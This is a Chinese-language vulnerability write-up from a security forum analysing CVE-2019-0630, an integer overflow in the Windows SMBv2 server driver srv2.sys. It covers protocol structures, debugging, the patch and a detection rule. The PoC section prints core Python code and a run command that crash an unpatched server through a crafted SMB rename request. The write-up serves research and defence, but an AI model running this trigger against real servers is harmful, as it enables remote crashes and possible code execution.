CVE-2019-0630:Microsoft Windows SMB Server SMBv2 Smb2UpdateLeaseFileName 远程代码执行漏洞分析
2020-08-08 17:41:32 Author: bbs.pediy.com(查看原文) 阅读量:756 收藏

目录

(部分排版不是很美观,预览的时候没有问题,发出来表格会有点乱,不知道为什么:))

一、漏洞信息

1. 漏洞简述

  • 漏洞名称:Microsoft Windows SMB Server SMBv2 Smb2UpdateLeaseFileName Code Execution Vulnerability
  • 漏洞编号:CVE-2019-0630, Bugtraq:106876
  • 漏洞类型:Integer Overflow
  • 漏洞影响:Code Execution
  • CVSS评分:7.5
  • 利用难度:Medium
  • 用户权限:需要

2. 组件概述

Server Message Block Protocol,服务器信息块协议(SMB),为网络计算机客户程序提供一种从服务程序读写文件并请求服务的方法。SMB协议可在互联网的TCP/IP协议或者互联网数据包交换和NetBEUI等协议之上使用。使用SMB协议,应用程序可访问远程服务器的文件以及打印机、信槽和命名管道等资源。因而,客户程序可以读、写以及更新远程计算机上的文件,它也可以跟接收SMB客户请求的任意服务程序通信。

SMBv2是SMB协议的第二版本,相较SMBv1做了诸多扩展,部分数据包结构发生了变化,但仍保留了SMBv1的部分基本特征。

3. 漏洞利用

该漏洞位于SMB Server的SMBv2协议部分,攻击者可以通过构造恶意的SMBv2请求来触发该漏洞,成功触发该漏洞后可以实现远程代码执行。

4. 漏洞影响

• Microsoft Windows 7
• Microsoft Windows 8
• Microsoft Windows 8.1
• Microsoft Windows 10
• Microsoft Windows RT
• Microsoft Windows RT 8.1
• Microsoft Windows Server 2008
• Microsoft Windows Server 2008 R2
• Microsoft Windows Server 2012
• Microsoft Windows Server 2012 R2
• Microsoft Windows Server 2012 R2 (Server Core)
• Microsoft Windows Server 2016
• Microsoft Windows Server 2019
• Microsoft Windows Server version 1709 (Server Core Installation)
• Microsoft Windows Server version 1803 (Server Core Installation)

5. 解决方案

微软官方针对该漏洞已发布安全更新补丁,补丁地址:

https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2019-0630

二、漏洞复现

1. 环境搭建

  • 靶机:Windows Server 2012 R2
  • 攻击机:Kali 2020

靶机操作:在C盘根目录下创建test目录,并开启SMB共享(可以为其他位置和名称,但需要修改poc代码)

2. 复现过程

kali中直接执行:

python poc.py client -uN USERNAEM -pW PASSWORD TARGET-IP

成功执行后,靶机崩溃:

备注:如果靶机无法成功崩溃,多执行几次poc。

三、漏洞分析

1. 基本信息

  • 漏洞文件:srv2.sys
  • 漏洞函数:Smb2UpdateLeaseFileName()
  • 漏洞参数:SMB2_CREATE请求的NameLength字段和SMB2_SET_INFO请求的NewFileNameLength字段

2. 背景知识

SMBv2具备将多个操作组合到单个请求中的功能,支持更大的缓冲区大小,SMB连接可以在短暂的网络中断中保持状态,支持符号链接以及其他改进。SMBv2与SMBv1一样,其开头也是一个NetBIOS Sessioni Service信息块,NetBIOS Sessioni Service信息块的结构如下:

Offset(bytes) Size Field
0x00 0x1 NetBIOS-Message-Type
0x01 0x3 NetBIOS-Length(big-endian)

1. SMBv2_Header

SMBv2消息由固定长度的SMB2_Header和变长的SMB2_Data组成。SMB2_Header有2种变体:ASYNCSYNC,二者主要取决于Flags字段的SMB2_FLAGS_ASYNC_COMMAND位是否被设置为1,如果为1则表示ASYNC,用于响应服务器异步处理的请求,否则表示SYNC。以下为一个SYNC/ASYNC SMB2_Header结构(小端序传输):

Offset(bytes) Size Field Description
0x00 0x04 ProtocolID Must be\xFESMB
0x04 0x02 StructureSize Must be 0x40
0x06 0x02 CreditCharge 2.0.2中必须设置为保留,其他版本中表示该请求consume的credit数
0x08 0x04 Status client必须设置该字段为0,server忽略该字段
0x0c 0x02 Command 表明该packet包含的SMB命令,详细命令见Command内容图
0x0e 0x02 CredRequest/CreditResponse 在请求中,该字段指明client正在请求的credits的数量;在响应中,表明授予client的credits数量
0x10 0x04 Flags 指明如何处理操作,详细内容见Flags内容图。需要特别注意的是SMB2_FLAGS_SERVER_TO_REDIR(0x00000001)表示一个response而不是request;SMB2_FLAGS_ASYNC_COMMAND(0x00000002)表示header类型为ASYNC
0x14 0x04 NextCommand 对于复合的请求和响应,此字段必须设置为从此SMB2 header的开始到随后的8字节对齐的SMB2 header的开始的偏移量(以字节为单位)。如果这不是复合请求或响应,或者这不是复合请求或响应中的最后一个header,则此值必须为0。
0x18 0x08 MessageId 在同一SMBv2协议传输中的唯一性message标识符
0x20 0x08 AsyncId server在异步处理操作时创建的唯一标识符
0x28 0x08 SessionId 基于command创建的session的唯一标识符,当command为SMB2 NEGOTIATE Request/Response时该字段必须设置为0
0x30 0x16 Signature 如果Flags字段中的SMB2_FLAGS_SIGNED位设置位1且message未加密,则表示16字节长的message签名。如果messages未进行签名,该字段必须设置为0。

Command字段详细内容:

Flags字段详细内容:

2. SMB2_CREATE Message

Command字段值为0x05时表示一个SMB2_CREATE请求,该请求由client发送到server,为了创建或访问文件。在命名管道或打印机场景下,server必须创建一个新文件。该请求具备SMB2 Packet Header标准结构,然后跟Data部分,其Data部分结构如下:

Offset(bytes) Size Field Description
0x00 0x02 StructureSize client需要设置该字段的值为0x39,表明request结构的长度(不包含header)。需要注意,不管Buffer[]字段实际的数据长度为多少,该字段值始终未0x39
0x02 0x01 SecurityFlags 保留字段,client设置该字段未0,server忽略该字段
0x03 0x01 RequestedOplockLevel 请求的oplock级别。该字段的可选值如RequestedOplockLevel图所示。对于命名管道,server将始终设置该字段值为SMB2_OPLOCK_LEVEL_NONE,而不管该字段实际的值为多少。
0x04 0x04 ImpersonationLevel 该字段指定发出创建请求的应用程序所请求的模拟级别,并且必须包含图ImpersonationLevel字段的可选值。
0x08 0x08 SmbCreateFlags 保留字段,client必须设置为0,server忽略该字段
0x10 0x08 Reversed 保留字段,client必须设置为0,server忽略该字段
0x18 0x04 DesiredAccess 所需的访问级别
0x1c 0x04 FileAttributes [MS-FSCC]中第2.6节指定的值的组合,不可为其他值
0x20 0x04 ShareAccess 指定开放的共享模式,如果打印机文件或者命名管道设置了该字段值为FILE_SHARE_READ, FILE_SHARE_WRITE and FILE_SHARE_DELETE,则server应忽略该字段的值。
0x24 0x04 CreateDisposition 定义如果name字段中指定的文件已存在时server应该采取的动作。对于打开的命名管道,client可以设置该字段为任意值,但server会忽略。对于其他文件,该字段必须包含图CreateDisposition中包含的可选值。
0x28 0x04 CreateOptions 指定在创建或打开文件时要应用的选项。该字段为各种选项的组合位,详细选项内容如表格CreateOptions所示。
0x2c 0x02 NameOffset(O) 如果在SMB2标头的Flags字段中设置了SMB2_FLAGS_DFS_OPERATIONS,则文件名包含将在DFS名称标准化期间处理的前缀。NameOffset字段设置为Buffer`字段距SMB2标头开头的偏移量。长度为零的文件名表示打开共享根目录的请求。
0x2e 0x02 NameLength(N) 文件名长度,字节为单位。如果没有文件名,必须设置为0。
0x30 0x04 CreateContextOffset 从请求的SMB2标头开始到第一个8字节对齐的SMB2_CREATE_CONTEXT结构的偏移量(以字节为单位)。如果没有该结构,则该字段需要设置为0。
0x34 0x04 CreateContextLength(M) SMB2_CREATE_CONTEXT结构的长度,字节为单位。
O - 0x40 N FileName Unicode编码的文件名,必须符合相对路径名的规范,路径名规范在[MS-FSCC]中进行规范制定。
var M CreateContextList 创建上下文列表

RequestedOplockLevel字段的可选值如下:

ImpersonationLevel字段的可选值如下:

CreateDisposition中包含的可选值:

CreateOptions中包含的详细内容:

Value Meaning
FILE_DIRECTORY_FILE0x00000001 The file being created or opened is a directory file. With this flag, the CreateDisposition field MUST be set to FILE_CREATE, FILE_OPEN_IF, or FILE_OPEN. With this flag, only the following CreateOptions values are valid: FILE_WRITE_THROUGH, FILE_OPEN_FOR_BACKUP_INTENT, FILE_DELETE_ON_CLOSE, and FILE_OPEN_REPARSE_POINT. If the file being created or opened already exists and is not a directory file and FILE_CREATE is specified in the CreateDisposition field, then the server MUST fail the request with STATUS_OBJECT_NAME_COLLISION. If the file being created or opened already exists and is not a directory file and FILE_CREATE is not specified in the CreateDisposition field, then the server MUST fail the request with STATUS_NOT_A_DIRECTORY. The server MUST fail an invalid CreateDisposition field or an invalid combination of CreateOptions flags with STATUS_INVALID_PARAMETER.
FILE_WRITE_THROUGH0x00000002 The server performs file write-through; file data is written to the underlying storage before completing the write operation on this open.
FILE_SEQUENTIAL_ONLY0x00000004 This indicates that the application intends to read or write at sequential offsets using this handle, so the server SHOULD optimize for sequential access. However, the server MUST accept any access pattern. This flag value is incompatible with the FILE_RANDOM_ACCESS value.
FILE_NO_INTERMEDIATE_BUFFERING0x00000008 File buffering is not performed on this open; file data is not retained in memory upon writing it to, or reading it from, the underlying storage.
FILE_SYNCHRONOUS_IO_ALERT0x00000010 This bit SHOULD be set to 0 and MUST be ignored by the server.<34>
FILE_SYNCHRONOUS_IO_NONALERT0x00000020 This bit SHOULD be set to 0 and MUST be ignored by the server.<35>
FILE_NON_DIRECTORY_FILE0x00000040 If the name of the file being created or opened matches with an existing directory file, the server MUST fail the request with STATUS_FILE_IS_A_DIRECTORY. This flag MUST NOT be used with FILE_DIRECTORY_FILE or the server MUST fail the request with STATUS_INVALID_PARAMETER.
FILE_COMPLETE_IF_OPLOCKED0x00000100 This bit SHOULD be set to 0 and MUST be ignored by the server.<36>
FILE_NO_EA_KNOWLEDGE0x00000200 The caller does not understand how to handle extended attributes. If the request includes an SMB2_CREATE_EA_BUFFER create context, then the server MUST fail this request with STATUS_ACCESS_DENIED. If extended attributes with the FILE_NEED_EA flag (see [MS-FSCC] section 2.4.15) set are associated with the file being opened, then the server MUST fail this request with STATUS_ACCESS_DENIED.
FILE_RANDOM_ACCESS0x00000800 This indicates that the application intends to read or write at random offsets using this handle, so the server SHOULD optimize for random access. However, the server MUST accept any access pattern. This flag value is incompatible with the FILE_SEQUENTIAL_ONLY value. If both FILE_RANDOM_ACCESS and FILE_SEQUENTIAL_ONLY are set, then FILE_SEQUENTIAL_ONLY is ignored.
FILE_DELETE_ON_CLOSE0x00001000 The file MUST be automatically deleted when the last open request on this file is closed. When this option is set, the DesiredAccess field MUST include the DELETE flag. This option is often used for temporary files.
FILE_OPEN_BY_FILE_ID0x00002000 This bit SHOULD be set to 0 and the server MUST fail the request with a STATUS_NOT_SUPPORTED error if this bit is set.<37>
FILE_OPEN_FOR_BACKUP_INTENT0x00004000 The file is being opened for backup intent. That is, it is being opened or created for the purposes of either a backup or a restore operation. The server can check to ensure that the caller is capable of overriding whatever security checks have been placed on the file to allow a backup or restore operation to occur. The server can check for access rights to the file before checking the DesiredAccess field.
FILE_NO_COMPRESSION0x00008000 The file cannot be compressed. This bit is ignored when FILE_DIRECTORY_FILE is set in CreateOptions.
FILE_OPEN_REMOTE_INSTANCE0x00000400 This bit SHOULD be set to 0 and MUST be ignored by the server.
FILE_OPEN_REQUIRING_OPLOCK0x00010000 This bit SHOULD be set to 0 and MUST be ignored by the server.
FILE_DISALLOW_EXCLUSIVE0x00020000 This bit SHOULD be set to 0 and MUST be ignored by the server.
FILE_RESERVE_OPFILTER0x00100000 This bit SHOULD be set to 0 and the server MUST fail the request with a STATUS_NOT_SUPPORTED error if this bit is set.<38>
FILE_OPEN_REPARSE_POINT0x00200000 If the file or directory being opened is a reparse point, open the reparse point itself rather than the target that the reparse point references.
FILE_OPEN_NO_RECALL0x00400000 In an HSM (Hierarchical Storage Management) environment, this flag means the file SHOULD NOT be recalled from tertiary storage such as tape. The recall can take several minutes. The caller can specify this flag to avoid those delays.
FILE_OPEN_FOR_FREE_SPACE_QUERY0x00800000 Open file to query for free space. The client SHOULD set this to 0 and the server MUST ignore it.<39>

Pathname可以由一个或多个路径名组成,其间以'\'分割,最后一个路径名包含目录或文件名。

文件名可以包含一个stream,在Windows的NTFS系统中,stream主要用于描述一些与文件相关的信息,例如文件创建者,搜索该文件的关键词等,stream中包含的信息要比文件自身的属性中包含的信息全面。 与文件关联的每个stream都有其自己的分配大小,实际大小和有效数据长度 :

  • 分配大小是disk为stream保留的内存空间
  • 实际大小为caller使用的实际字节数
  • 有效数据长度(VDL)是根据stream的分配大小初始化的字节数

Naming Coventions for Streams

当在Windows的命令行中指定文件时,一个完整的stream名称如下:

filename:stream_name:stream type
example:
myfile.dat:stream1:$DATA

3. SMB2_SET_INFO Message

client发送SMB2 SET_INFO请求数据包以设置有关文件或基础对象存储的信息,该message同样包含一个标准的的SMB2_Header,然后包含以下数据结构:

Offset(bytes) Size Field Description
0x00 0x02 StructureSize client必须设置该字段为0x21,表明请求结构的大小,不包括header部分
0x02 0x01 InfoType 信息类型,其可选值如图InfoType所示
0x03 0x01 FileInfoClass 为了设置文件信息,该字段必须包含以下FILE_INFORMATION_CLASS值之一:FileAllocationInformation,FileBasicInformation,FileDispositionInformation,FileEndOfFileInformation,FileFullEaInformation,FileLinkInformation,FileModeInformation,FilePipeInformation,FilePositionInformation,FileRenameInformation,FileShortNameInformation,FileValidDataLengthInformation;为了设置基础对象存储信息,该字段必须包含以下FS_INFORMATION_CLASS值之一:FileFsControlInformation,FileFsObjectIdInformation;为了设置配额和安全性信息,该字段必须为0。
0x04 0x04 BufferLength(L) 要设置的信息的长度(以字节为单位)
0x08 0x02 BufferOffset 从SMB2标头的开头到要设置的信息的偏移量(以字节为单位)
0x0a 0x02 Reserved 保留字段
0x0c 0x04 AdditionalInformation 向server提供其他信息,如果设置了安全信息,则该值必须包含4字节的标志位字段,以指示必须应用哪些安全属性。详细可选值如图AdditionalInformation所示
0x10 0x10 FileID 在其上执行设置的文件或命名管道的SMB2_FILEID标识符,基础对象存储和配额信息的设置操作将定向到文件所在的卷
0x20 L Buffer 可变长度缓冲区,其中包含为请求设置的信息,如BufferOffsetBufferLength字段所述。缓冲区格式取决于InfoTypeAdditionalInformation,详细的Buffer结构如图所示

InfoType字段的可选值:

AdditionalInformation字段可选值如下:


Buffer字段详细可选值:

3. 详细分析

当前面Buffer字段包含一个FileRenameInformation类时,InfoType字段的值为SMB2_0_INFO_FILE(0x01)FileInfoClass值为0x0a。FileRenameInformation类用于重命名一个文件,其格式如下所示:

Offset(bytes) Size Field Description
0x00 0x01 ReplaceIfExists boolean值,设置为TRUE表示如果具有给定名称的文件已经存在,则应将其替换为给定文件。设置为FALSE表示如果给定名称的文件已经存在,重命名操作必须失败。
0x01 0x07 Reserved 为进行对齐保留的字段,可以包含任意值,但会被忽略处理
0x08 0x08 RootDirectory 64位无符号整数,其中包含文件新名称相对于的目录的文件句柄。对于网络操作,该值必须始终为零。
0x10 0x04 FileNameLength(K) 32位无符号整数,FileName字段数据长度,字节为单位
0x0e K FileName 包含文件新名称的Unicode字符序列。使用此字段时,使用FileNameLength来确定文件名的长度,而不要假定存在结尾的空定界符。

漏洞出现原因主要为由于对filename长度验证不完善造成。其主要过程如下:

  1. 在通过SMBv2重命名文件时,原有文件命名为OldFileName,首先通过发送SMB2_CREATE请求消息到server,如果请求的文件存在则server会返回一个SMB2_CREATE响应消息,该消息中包含名为FileGUID的文件标识符;

  2. client发送一个SMB2_SET_INFO请求消息,其中FileID字段为FileGUIDBuffer字段为FileRenameInformation中的新文件名。一旦该请求被server接收,server就会通过Smb2ExecuteSetInfoReal()函数调用Smb2UpdateLeaseFileName()函数;

  3. Smb2UpdateLeaseFileName()函数会检查FileNameLength字段是否小于0xffff。如果小于,会检查FileName字段的值是否以":"开头,以确认字段中是否包含stream。如果包含stream,该函数遍历OldFileName并检查OldFileName的最后一个路径名是否包含stream。如果发现OldFileName包含一个stream,函数会移除stream字符串,并将剩余的前缀字符串存储到名为prefixFileName的变量中,其长度为prefixFileNameLen

  4. Smb2UpdateLeaseFileName()函数没有prefixFileNameLen进行验证,直接按照以下公式计算新文件名的长度:

    FileLengthVar = prefixFileNameLen * 2 + FileNameLength
    

    FileLengthVar类型为无符号short类型。

  5. Smb2UpdateLeaseFileName()函数检查计算得到的FileLengthVar是否大于OldFileName的unicode形式的长度,称为unicodeFileLen。如果大于,函数创建一个大小为FileLengthVar的buffer并将prefixFileNameFileName拷贝到buffer中;如果FileLengthVar小于等于unicodeFileLen,函数创建的buffer大小变为unicodeFileLen,并进行复制操作。

以上函数处理过程可简单描述为如下流程图:

函数在计算FileLengthVar的长度之前并没有对prefixFileNameLen进行验证,如果prefixFileNameLen为一个任意大小的值,那么就可能导致FileLengthVar大于0xffff,从而发生整数溢出。在这种情况下,FileLengthVar会小于unicodeFileLen,那么在后续进行内存分配时分配的内存大小为unicodeFileLen。但是在进行复制操作时,复制的数据为prefixFileNameFileName,其长度和大于unicodeFileLen,导致在进行copy操作时发生溢出。

一个stream允许的最多字符数量为0x200(包含":"符号在内),那么FileNameLength字段的最大值为0x400 = 0x200 * 2,为触发该漏洞,SMB2_CREATE消息中的NameLength字段的值必须大于0xfbff(0xffff - 0x400)。

1. 静态分析

反汇编存在漏洞的文件:srv2.sys,来自Windows Server 2012 R2 X64,版本为6.3.9600.17396

1. Smb2ExecuteSetInfoReal()函数

首先处理相关参数和信息:

然后调用存在漏洞的Smb2UpdateLeaseFileName()函数:

2. Smb2UpdateLeaseFileName()函数

首先检查FileNameLength是否小于0xFFFF:

如果小于0xFFFF,则进行循环搜索:符号:

然后按照之前的公式进行计算,而且可以明显看出,在进行计算之前并没有进行任何的数据验证,导致漏洞存在:

最后,进行缓冲区分配和copy操作:

简单总结以上过程,真正的触发点在于FileLengthVar没有进行数据检查,如果超过0xFFFF,则未通过if判断,从而分配的缓冲区大小为unicodeFileLen,但copy的数据为prefixFileNameFileName,其长度和大于unicodeFileLen,导致在进行copy操作时发生溢出:

2. 动态调试

因为确认了出问题的函数,所以在Smb2ExecuteSetInfoReal()函数下断,发送poc,断下:

找到调用Smb2UpdateLeaseFileName()函数处,下断,执行:

Smb2UpdateLeaseFileName()函数有3个参数,第一个参数rcx中存放的是FileInfoClass,偏移为0x03,主要用于定位栈中数据使用(猜测);第2个参数rdx中存放的是我们poc中发送的用于修改的FileName的具体内容,以:开头;第3个参数r8中存放的是FileNameLength,恰好为我们poc中构造的512个字节(包含:)。自此,进入函数后将开始进行文件重命名过程:

这里对新的FileName的长度做了校验,要求小于0xFFFF。然后,小写转大写:

转换完成:

检查新的FileName是否以:开头:

因为在新的FileName中找到了:字符,所以转而在OldFileName中查找:字符,以便进行后续处理:

这里获取到OldFileName:字符前面部分的长度prefixFileNameLen = 0x7f04

然后按照公式

FileLengthVar = prefixFileNameLen * 2 + FileNameLength
# prefixFileNameLen * 2还是因为unicode长度

计算重命名后新的完整的文件名的长度:

在进行计算时,使用的寄存器为bp,prefixFileNameLen长度为0x7f04,FileNameLength长度为0x200,所以最终的计算结果为0x10008。但是因为使用bp进行最后计算结果的存储,所以发生整数溢出,导致最后结果变为0x8。

然后,进行需要分配的缓冲区大小的计算:

在进行内存分配时,根据不同的计算结果有2种不同的内存分配的路径:

开始进行copy操作,使用的函数为memcpy()

执行到这里的前提是计算得到的FileNameLengVar小于unicodeFileNameLen,但是原来的OldFileName的stream长度为1,现在新增的stream长度为0x200,明显会发生溢出,会覆盖掉rcx指向的地址下面的数据。

进行copy前rcx指向的地址空间的数据布局如下:

而在执行完copy操作后,rcx指向的地址的内存布局变成了如下所示,多余的0x1fe个字节覆盖了原来的一些地址和数据,很明显会影响到后续程序的正常运行:

然后直接运行,程序发生crash,根据栈回溯可以获取一些信息:

因为在重命名文件时发生了缓冲区溢出,覆盖掉了一些关键的地址或者参数,而这些被覆盖的数据可能正是后续函数需要使用的数据。根据栈回溯信息,初步判断是影响了CloseFile的相关函数。

4. 利用思路

1. 利用条件
  1. 基本条件

    • 可以通过网络访问到目标host
    • 具有可以访问目标的share的username、password
  2. 触发过程

    • attacker首先创建一个恶意的过长文件名的文件,然后发起重命名文件stream name的请求
2. 利用过程
  1. attacker首先建立SMBv2连接,包括 Negotiate Protocol,Session Setup, Tree Connect messages的交换:

    [ Attacker ] <--------------------> [ Target ]
    
  2. attacker通过发送SMB2_CREATE消息创建并打开文件:

    [ Attacker ] <--------------------> [ Target ]
    
  3. attacker通过SMB2_SET_INFO消息来重命名文件:

    [ Attacker ] <--------------------> [ Target ]
    
3. 利用界面

应用协议:SMB/CIFS,端口:139/445 TCP

5. PoC分析

该漏洞的poc涉及到4个py文件,ntlm.pysecurityblob.py以及pyDes.py来源于pysmb,主要用于SMBv2的验证部分,而poc.py则会执行漏洞触发过程,执行成功后会导致BSOD。攻击利用的PoC核心代码:

    [...]    
    # Create a file 
    #Create Request and Response 
    sessionId = header["sid"]
    tid = header["tid"]
    # file creation Flag  create_option=0x400040   dAccValue=0x12019f  FILE_NON_DIRECTORY_FILE | FILE_OPEN_NO_RECAL
    # directroy creation dAccValue=0x17019b  create_option=0x21
    create_option = 0x21
    dAccValue =0x17019b
    filePath = randomString(3)+"A"*0xFC
    nestedDirlen= 0x7F
    for i in range(nestedDirlen):
        fn = toUnicode(filePath)
        createReq = netBios( smb2.getHeader(CREATE, cr=1, pid=pid, tid=tid, sid=sessionId) + smb2.getCreateReq(dAcc=dAccValue, cd=2, co=create_option, name=fn))
        csock.send(createReq)
        resp =  csock.recv(1024)
        header, data = smb2.parseCreateResp(resp)
        if header["status"] == 0: 
           filePath += "\\"+ randomString(3)+"A"*0xFB
        else: 
           print("[-] Could not create a directory of length: 0x%x "% len(filePath))
           print("[-] Re-run the program")
           sys.exit(1)

    create_option = 0x400040
    dAccValue =0x12019f
    filePath ="\\".join(filePath.split("\\")[:-1])
    filename =  filePath +"\\"+ randomString(3)+"B"*0x7f+":"+ "N"

    # OldFileNameLen = Length of filename = 0x03 + 0xfc + (0x04 + 0xfb) * (0x7f - 1) + 0x7f + 0x06 = 0x7f06
    # three char + "A" * 0xfc + ("\" + three char + "A" * 0xfc) * 0x7e + "B" * 0x7f + ":" + "N"

    fn = toUnicode(filename) # OldFileNameLen * 2 - 1 (insert \x00, first char is not \x00)
    createReq = netBios( smb2.getHeader(CREATE, cr=1, pid=pid, tid=tid, sid=sessionId) + smb2.getCreateReq(dAcc=dAccValue, cd=2, co=create_option, name=fn))
    csock.send(createReq)
    resp =  csock.recv(1024)
    header, data = smb2.parseCreateResp(resp)
    if(header["status"] == 0):
       print ("[+] Created a file of length: 0x%x "% len(filename))
    else:
       print("[- File create] Could not create a file of length: 0x%x "% len(filename))
       print("[-] Re-run the program")
       sys.exit(1)

    [...]

    # SET_INFO Request and Response
    fileID = data["fID"]
    filename = ":" +randomString(0xff)    # new filename, length is 0xff + ":"(256)
    filename = toUnicode(filename) # new filenameLength * 2 (512)
    # A stream starts with a ':' max size is 0x200(512)
    bufferData = smb2FileInfoRename(filename)
    setInfoReq = netBios( smb2.getHeader(SETINFO, cr=1, pid=pid, tid=tid, sid=sessionId) + smb2.getSetInfoReq(infoType="\x01",fic="\x0A", fileId=fileID, bData=bufferData))
    csock.send(setInfoReq)
    resp =  csock.recv(1024)
    print("[+] Sent the crafted request. Check the server for the crash.")
    csock.close()
    [...]

def smb2FileInfoRename(fName):
    fLen = len(fName)  # new filenameLength = 512
    data = "\x00"
    data += "\x00\x5c\x00\x31\x00\x37\x00"
    data += le8(0)
    data += le4(fLen)# fLen
    # Header size is 20 bytes    20 + 512 = 532bytes
    # So SMB2_FILE_RENAME_INFO size is 532bytes
    data += fName
    #print("[Debug] in smb2FileInfoRename.. File Length 0x%x"%fLen)
    return data

6. 补丁分析

1. 补丁比较结果

Smb2UpdateLeaseFileName()函数的补丁对比结果:

函数并没有做过多修改,进入查看具体更新内容:

2. 补丁思路

根据补丁比较结果可以看出,微软针对该漏洞的修复方式是对计算获得的FileLengthVar的长度进行验证,在小于0xFFFE的情况下再进行后续的缓冲区分配操作:

四、漏洞检测和防御

1. 漏洞检测

针对该漏洞,目前很难做到无损检测

2. 漏洞防御

1. 防御思路

流量防御:因为真正触发漏洞的数据为SMB2_CREATE消息中的NameLength字段设置的值过大,才导致了在后续进行计算时发生错误。因此,可以简单检测NameLength字段中的数据是否大于0xFBFF(0xFFFF - 200 * 2)来进行判断。

终端防御:使用热补丁,改变程序执行流。

2. 可能存在的风险

因为检测的字段并不一定可以触发漏洞,倘若正常流量的创建文件名长度大于了0xFBFF(情况应该很少),且后续不再进行重命名的操作,那么就不会触发漏洞。所以,存在误报风险。

五、参考文献

  1. MS-SMB2
  2. FileRenameInformation for SMB2
  3. pysmb
  4. File Stream(Local File Systems)

六、备注

看雪论坛内部共享,未经允许,请勿转载,谢谢

[公告]看雪论坛2020激励机制上线了!多多参与讨论可以获得积分快速升级?

最后于 3小时前 被有毒编辑 ,原因:


文章来源: https://bbs.pediy.com/thread-261315.htm
如有侵权请联系:admin#unsafe.sh